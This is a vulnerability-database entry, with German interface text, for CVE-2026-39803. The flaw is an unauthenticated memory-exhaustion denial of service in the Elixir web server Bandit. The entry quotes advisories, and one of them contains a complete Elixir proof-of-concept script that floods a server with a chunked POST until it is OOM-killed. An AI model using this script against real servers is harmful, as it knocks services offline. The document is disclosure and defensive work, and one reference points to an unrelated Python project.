CVE-2026-39803
highPriorität · verfolgen · 30EPSS 0.006 · 51. PerzentilEUUSEPSS · bewertet 2026-10-27
Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion. The chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response. Because Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer. The content-length path in the same function correctly enforces the limit and is not affected. This issue affects bandit: from 1.4.0 before 1.11.1.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.6–8.7
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (4)
Betroffene Produkte und Versionsbereiche.
Advisories (2)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-9q9q-324x-93r2Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`2026-05-19ghsa · osvUS
### Summary Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`' default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL. ### Details In `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` — never `{:more, ...}` — so callers cannot interpose a 413. The content-length sibling at `:210` does the right thing: ```elixir max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000)) ``` Because `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug. **Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path. ### PoC Self-contained — boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires. ```elixir Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}]) defmodule DemoApp do use Plug.Builder # The `length` option here is ignored by the attack plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000 plug :respond def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok") end {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321) # Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side. chunk = :binary.copy(<<?A>>, 1_048_576) frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n" {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false]) :ok = :gen_tcp.send(sock, """ POST / HTTP/1.1\r Host: 127.0.0.1\r Transfer-Encoding: chunked\r Content-Type: application/json\r Connection: close\r \r """) Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end) :ok = :gen_tcp.send(sock, "0\r\n\r\n") IO.inspect(:gen_tcp.recv(sock, 0, 120_000)) ``` ### Impact Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.
- EEF-CVE-2026-39803HTTP/1 chunked body reader ignores length cap in bandit2026-05-13vendor · osvUS
## Summary Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion. The chunked clause of 'Elixir.Bandit.HTTP1.Socket':read\_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do\_read\_chunked\_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response. Because Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer. The content-length path in the same function correctly enforces the limit and is not affected. This issue affects bandit: from 1.4.0 before 1.11.1.
auch bekannt als (5)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (11)
Externe Belege — Patches, Meldungen, Analysen.
- https://access.redhat.com/security/cve/cve-2026-39803cnnvd
- https://github.com/PyCQA/bandit/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-39803cnnvd
- https://cna.erlef.org/cves/CVE-2026-39803.htmlenisa_euvd
- https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1abenisa_euvd
- https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2enisa_euvd
- https://osv.dev/vulnerability/EEF-CVE-2026-39803enisa_euvd
- https://cna.erlef.org/cves/CVE-2026-39803.htmlThird Party Advisorynvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan